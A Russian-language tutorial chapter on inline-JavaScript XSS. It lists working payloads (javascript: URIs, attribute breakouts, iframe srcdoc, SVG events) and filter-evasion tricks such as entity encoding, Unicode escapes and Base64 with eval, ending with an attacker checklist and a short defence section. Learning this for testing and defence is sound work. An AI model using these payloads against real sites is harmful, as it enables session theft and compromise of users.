Книга: «Все об уязвимости XSS». Глава 4. Классические векторы атаки 💉 • Inline JavaScript: когда код прямо в атрибуте

Inline JavaScript - это когда ты не создаёшь отдельный тег <script>, а запихиваешь выполняемый код прямо в атрибуты HTML или специальные URI-схемы. Это партизанская война: фильтры блокируют <script>, CSP запрещает внешние источники, а ты тихо протаскиваешь свой код через "легальные" механизмы браузера. Inline JS -это не просто альтернатива классическим векторам, это часто единственный способ пробиться сквозь защиту.

Суть: код живёт в атрибутах

В HTML есть куча мест, где браузер ожидает не просто текст или URL, а потенциально исполняемый код:

  • Event handlers (onclick, onerror, onload и вся банда on*)
  • JavaScript URI-схемы (href="javascript:...", src="javascript:...")
  • Специальные атрибуты (srcdoc, formaction, data)
  • SVG-специфика (xlink:href, различные SVG-события)

Когда твой ввод попадает в один из этих атрибутов, ты можешь вставить туда JavaScript, который выполнится в контексте страницы. Это inline - код встроен прямо в разметку, а не загружен извне.

Вектор 1: javascript: URI — олдскул, который жив

Псевдо-протокол javascript: позволяет вместо обычного URL подсунуть браузеру код для выполнения.

Классика:

<a href="javascript:alert(document.domain)">Click me</a>

При клике браузер не переходит по ссылке, а выполняет код после javascript:. Это работает в:

  • <a href="...">
  • <iframe src="...">
  • <form action="...">
  • <object data="...">

Где встречается инъекция:

Приложение формирует ссылку так:

<a href="<?php echo $_GET['url']; ?>">Go</a>

Payload:

?url=javascript:alert(1)

Результат:

<a href="javascript:alert(1)">Go</a>

Обходы фильтров:

Фильтр блокирует слово "javascript"? Используй кодирование:

<a href="java&#115;cript:alert(1)">Click</a> <a href="&#106;avascript:alert(1)">Click</a> <a href="jav&#x61;script:alert(1)">Click</a>

Браузер декодирует HTML-сущности перед интерпретацией URI, и получает валидный javascript:.

Tab и newline обход:

<a href="java script:alert(1)">Click</a>

Браузеры часто игнорируют переносы строк и табы внутри URI, склеивая строку в javascript:alert(1).

Null-byte (в старых браузерах):

<a href="java%00script:alert(1)">Click</a>

Вектор 2: Attribute Injection — вырвись и добавь своё

Часто твой ввод попадает в значение существующего атрибута. Задача -вырваться и добавить исполняемый атрибут.

Сценарий: инъекция в quoted attribute

<input type="text" value="USER_INPUT">

Payload:

" onfocus="alert(1)" autofocus="

Результат:

<input type="text" value="" onfocus="alert(1)" autofocus="">

Разбор:

  1. Первая " закрывает value
  2. Добавляется onfocus="alert(1)" - исполняемый обработчик
  3. autofocus заставляет элемент получить фокус автоматически при загрузке
  4. Последняя " "съедает" оригинальную закрывающую кавычку

Сценарий: unquoted attribute (без кавычек)

<input value=USER_INPUT>

Здесь ещё проще - атрибут заканчивается на первом пробеле:

Payload:

test onmouseover=alert(1)

Результат:

<input value=test onmouseover=alert(1)>

Браузер видит два атрибута: value=test и onmouseover=alert(1).

Вектор 3: srcdoc — HTML внутри атрибута

Атрибут srcdoc у <iframe> позволяет вставить целый HTML-документ прямо в атрибут.

<iframe srcdoc="<script>alert(1)</script>"></iframe>

Это мощнейший вектор, потому что:

  • Ты можешь использовать полноценный HTML и JS
  • Многие фильтры не проверяют содержимое srcdoc
  • Создаётся изолированный контекст (iframe), но с доступом к parent через parent.document

Обход фильтров через HTML-encoding:

<iframe srcdoc="&#60;script&#62;alert(1)&#60;/script&#62;"></iframe>

Браузер сначала декодирует сущности в значении srcdoc, получает <script>alert(1)</script>, и выполняет.

Вектор 4: SVG и xlink:href

SVG - это XML, и у него свои фишки.

<svg> <a xlink:href="javascript:alert(1)"> <text x="20" y="20">Click</text> </a> </svg>

Также можно использовать animate, set и другие SVG-элементы с event handlers:

<svg> <animate onbegin="alert(1)" attributeName="x" dur="1s"> </svg>

Техники обфускации для inline JS

Когда код находится внутри атрибута, у тебя есть два уровня для обфускации:

Уровень 1: HTML-encoding (для самого атрибута)

<img src=x onerror="&#97;lert(1)">

&#97; = a. Браузер декодирует сущности в значении атрибута перед выполнением JS.

Можно закодировать всё:

<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

Это alert(1), но для фильтра - набор чисел.

Уровень 2: JavaScript-encoding (внутри кода)

Используй Unicode escape:

<img src=x onerror="\u0061lert(1)">

\u0061 = a в JavaScript.

Или конкатенацию строк:

<img src=x onerror="window['a'+'lert'](1)">

Для фильтра, ищущего слово "alert", это две отдельные строки.

Комбо: двойное кодирование

<img src=x onerror="eval(atob('YWxlcnQoMSk='))">

YWxlcnQoMSk= - это alert(1) в Base64. Функция atob() декодирует, eval() выполняет.

Обход кавычек в inline JS

Часто фильтры режут кавычки. Но JavaScript позволяет обходиться без них:

Вместо alert("XSS"):

alert(1) alert(/XSS/) // Регулярное выражение как аргумент String.fromCharCode(88,83,83) // Собираем строку из кодов

Template literals (ES6):

alert(`XSS`)

Backticks (`) часто не попадают в черные списки.

Контекст внутри inline JS

Если твой ввод попадает в середину уже существующего inline-кода:

<div onclick="track('USER_INPUT')">Click</div>

Твоя задача -выйти из строки и добавить свой код:

');alert(1);//

Результат:

<div onclick="track('');alert(1)//')">Click</div>

Разбор:

  1. ' закрывает строку в track()
  2. ) закрывает вызов функции
  3. ; завершает инструкцию
  4. alert(1) — твой код
  5. // комментирует остаток ')"

Защита от inline JavaScript

Inline JS - головная боль для защиты:

Content Security Policy (CSP):
Директива unsafe-inline должна быть запрещена:

Content-Security-Policy: script-src 'self'

Это блокирует все inline-обработчики и javascript: URI. Но многие сайты не используют CSP или настраивают его криво.

Sanitization:
Библиотеки типа DOMPurify удаляют все атрибуты, начинающиеся с on, и фильтруют javascript: в URI-атрибутах.

Output encoding:
Всегда экранируй спецсимволы при выводе в атрибуты:

  • "&quot;
  • '&#x27;
  • <&lt;
  • >&gt;

Чеклист атакующего

  1. Определи контекст: попадаешь в атрибут? В какой? Quoted или unquoted?
  2. Пробуй javascript: URI для href, src, action, data
  3. Attribute injection: вырвись через закрытие кавычки и добавь on*
  4. Используй srcdoc если можешь создать iframe
  5. SVG-векторы если позволяет контекст
  6. Обфускация: HTML-entities, Unicode escapes, Base64+eval, конкатенация
  7. Тестируй разные кодировки и разрывы (newline, tab, null-byte)

Заключение

Inline JavaScript - это искусство прятать код там, где его не ждут. Когда прямые векторы заблокированы, атрибуты становятся твоим бункером. Знание того, как браузер парсит HTML, декодирует сущности, интерпретирует URI и выполняет inline-обработчики - это база, которая отличает скрипт-кидди от настоящего эксплойт-мастера. Учи спецификации, экспериментируй с edge cases, и помни: каждый атрибут -потенциальная дверь. Твоя задача — найти ту, которую забыли запереть.

17 views·2 shares